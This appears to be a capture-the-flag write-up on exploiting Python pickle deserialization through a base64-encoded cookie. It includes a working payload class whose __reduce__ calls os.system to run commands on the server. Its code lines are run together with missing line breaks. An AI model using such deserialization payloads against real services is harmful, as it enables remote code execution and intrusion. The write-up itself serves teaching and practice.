Let's immediately try to unpickle the data, which should give us a feel for how data is parsed:
from base64 import b64decodeimport picklecode =b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'serum = pickle.loads(b64decode(code))print(serum)
$ python3 deserialize.py
Traceback (most recent call last):
File "deserialize.py", line 7, in <module>
serum = pickle.loads(b64decode(code))
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' from 'deserialize.py'>
The error is quite clear - there's no anti_pickle_serum variable. Let's add one in and try again.
code =b'KGRwMApT[...]'anti_pickle_serum ='test'
That error is fixed, but there's another one:
$ python3 deserialize.py
Traceback (most recent call last):
File "deserialize.py", line 8, in <module>
serum = pickle.loads(b64decode(code))
File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor
obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (str)
Here it's throwing an error because X (anti_pickle_serum) is not a type object - so let's make it a class extending from object!
$ python3 deserialize.py
{'serum': <__main__.anti_pickle_serum object at 0x7f9e1a1b1c40>}
So the cookie is the pickled form of a dictionary with the key serum and the value of an anti_pickle_serum class! Awesome.
Exploitation
For an introduction to pickle exploitation, I highly recommend this blog post. Essentially, the __reduce__ dunder method tells pickle how to deserialize, and to do so it takes a function and a list of parameters. We can set the function to os.system and the parameters to the code to execute!
from base64 import b64encodeimport pickleimport osclassanti_pickle_serum(object):def__reduce__(self): # function called by the picklerreturn os.system, (['whoami'],)code = pickle.dumps({'serum': anti_pickle_serum()})code =b64encode(code)print(code)
Here we create the malicious class, then serialize it as part of the dictionary as we saw before.
Huh, that looks nothing like the original cookie value (which starts with KGRwMApTJ3)... maybe we missed something with the dumps?
Checking out the dumps() documentation, there is a protocol parameter! If we read a bit deeper, this can take a value from 0 to 5. If we play around, protocol=0 looks similar to the original cookie:
Let's change the cookie to this (without the b''):
As you can see now, the value 0 was returned. This is the return value of os.system! Now we simply need to find a function that returns the result, and we'll use subprocess.check_output for that.
For reasons unknown to me, python3 pickles this differently to python2 and doesn't work. I'll therefore be using python2 from now on, but if anybody know why that would happen, please let me know!